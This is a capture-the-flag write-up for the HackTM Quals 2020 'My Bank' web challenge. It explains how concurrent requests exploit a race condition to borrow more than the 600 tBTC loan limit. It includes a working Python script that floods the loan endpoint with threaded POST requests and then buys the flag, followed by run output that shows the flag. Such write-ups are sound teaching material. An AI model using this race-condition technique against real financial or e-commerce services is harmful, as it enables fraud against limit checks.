HackTM Quals20 - My Bank

Posted on jeu. 06 février 2020 in CTF

solves : 70

My Bank
280 Points
Who's got my money?

Please abstain from brute-forcing files.

http://178.128.175.6:50090/

Author: nytr0gen

We got a URL who is a login page.

my_bank1

We can put any login to the field and we get redirect to the default page. This page allows to loan some BTC from the bank.

my_bank2

This money allow us to buy some goods (Chocolate - 10 tBTC, Python Book - 40 tBTC, WreckTheLine Stickers - 105 tBTC) and the flag for 1337 tBTC.

my_bank3

But, the first page show that we can only loan 600 tBTC from the bank. We can't get more.

So, we need to make a trick to the server to allow us loan more faster than the server check the reaming loan allow amount. I made a Python script who perform a total of 15 request. It should allow us to buy the flag.

from concurrent.futures import ThreadPoolExecutor as PoolExecutor
import http.client, urllib.parse
import socket
from bs4 import BeautifulSoup
import requests
import sys

def get_it(url):
    try:
        # always set a timeout when you connect to an external server
        connection = http.client.HTTPConnection(url, timeout=1)
        connection.request("POST", "/", params, headers)
        response = connection.getresponse()
        return response.read()
    except socket.timeout:
        # in a real world scenario you would probably do stuff if the
        # socket goes into timeout
        pass

URL = [
    "178.128.175.6:50090"
] * 15

headers = { "Cookie": "session="+sys.argv[1], "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0", "Content-Type": "application/x-www-form-urlencoded" }

soup = BeautifulSoup(requests.get("http://178.128.175.6:50090/", headers=headers).content, features="lxml")
token = soup.find('input', dict(name='csrf_token'))['value']

params = urllib.parse.urlencode({'loan': '100', 'csrf_token': token })

with PoolExecutor(max_workers=4) as executor:
    for _ in executor.map(get_it, URL):
        pass

soup = BeautifulSoup(requests.get("http://178.128.175.6:50090/store", headers=headers).content, features="lxml")
money = soup.find_all("li")

print(money[5])

if "1,500" not in money[5]:
    print("Failed! Try again")
    exit()
    pass

soup = BeautifulSoup(requests.get("http://178.128.175.6:50090/store", headers=headers).content, features="lxml")
token = soup.find('input', dict(name='csrf_token'))['value']
params = urllib.parse.urlencode({'item': '1337', 'csrf_token': token })
print(params)
r = requests.post("http://178.128.175.6:50090/store", headers=headers, data=params)
soup = BeautifulSoup(r.text, features="lxml")
mydivs = soup.findAll("div", {"class": "alert-success"})

print(mydivs)

You may need to run the script a few times to get the correct amount of money.

$ python bank.py "COOKIE"
<li>Money: 1,100.00 tBTC</li>
Failed! Try again
$ python bank.py "COOKIE"
[...] Well done! You have just bought a HackTM{9f19d6b8fdc9f5c6426343f5b004e6c6794d96b9be329402af463c294297550b} with 1337 tBTC.[...]